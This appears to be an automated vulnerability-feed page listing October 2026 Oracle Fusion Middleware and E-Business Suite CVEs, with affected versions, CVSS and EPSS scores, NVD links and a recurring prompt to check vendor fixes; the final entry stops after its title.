Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).
https://kevwire.com/record/CVE-2026-83396
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer). (Oct 20, 2026).
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83396).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83396&date=2026-10-25).
Sources:
NVD CVE-2026-83396: https://nvd.nist.gov/vuln/detail/CVE-2026-83396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83396&date=2026-10-25
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).
https://kevwire.com/record/CVE-2026-83397
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer). (Oct 20, 2026).
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83397).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83397&date=2026-10-25).
Sources:
NVD CVE-2026-83397: https://nvd.nist.gov/vuln/detail/CVE-2026-83397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83397&date=2026-10-25
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Console / Repository Explorer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-83399
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83399).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83399&date=2026-10-25).
Sources:
NVD CVE-2026-83399: https://nvd.nist.gov/vuln/detail/CVE-2026-83399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83399&date=2026-10-25
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-87251
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87251).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87251&date=2026-10-25).
Sources:
NVD CVE-2026-87251: https://nvd.nist.gov/vuln/detail/CVE-2026-87251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87251&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87302
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87302).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87302&date=2026-10-25).
Sources:
NVD CVE-2026-87302: https://nvd.nist.gov/vuln/detail/CVE-2026-87302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87302&date=2026-10-25
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91214
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91214).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91214&date=2026-10-25).
Sources:
NVD CVE-2026-91214: https://nvd.nist.gov/vuln/detail/CVE-2026-91214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91214&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).
https://kevwire.com/record/CVE-2026-91220
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow). (Oct 20, 2026).
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91220).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91220&date=2026-10-25).
Sources:
NVD CVE-2026-91220: https://nvd.nist.gov/vuln/detail/CVE-2026-91220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91220&date=2026-10-25
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Human Workflow).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).
https://kevwire.com/record/CVE-2026-91233
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91233).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91233&date=2026-10-25).
Sources:
NVD CVE-2026-91233: https://nvd.nist.gov/vuln/detail/CVE-2026-91233
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91233&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Enterprise Scheduling System).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91234
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91234).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91234&date=2026-10-25).
Sources:
NVD CVE-2026-91234: https://nvd.nist.gov/vuln/detail/CVE-2026-91234
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91234&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91235
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91235).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91235&date=2026-10-25).
Sources:
NVD CVE-2026-91235: https://nvd.nist.gov/vuln/detail/CVE-2026-91235
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91235&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91236
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91236).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91236&date=2026-10-25).
Sources:
NVD CVE-2026-91236: https://nvd.nist.gov/vuln/detail/CVE-2026-91236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91236&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-91323
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91323).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91323&date=2026-10-25).
Sources:
NVD CVE-2026-91323: https://nvd.nist.gov/vuln/detail/CVE-2026-91323
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91323&date=2026-10-25
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).
https://kevwire.com/record/CVE-2026-91408
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91408).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91408&date=2026-10-25).
Sources:
NVD CVE-2026-91408: https://nvd.nist.gov/vuln/detail/CVE-2026-91408
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91408&date=2026-10-25
Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).
https://kevwire.com/record/CVE-2026-91506
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer). (Oct 20, 2026).
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91506).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91506&date=2026-10-25).
Sources:
NVD CVE-2026-91506: https://nvd.nist.gov/vuln/detail/CVE-2026-91506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91506&date=2026-10-25
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-91511
Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
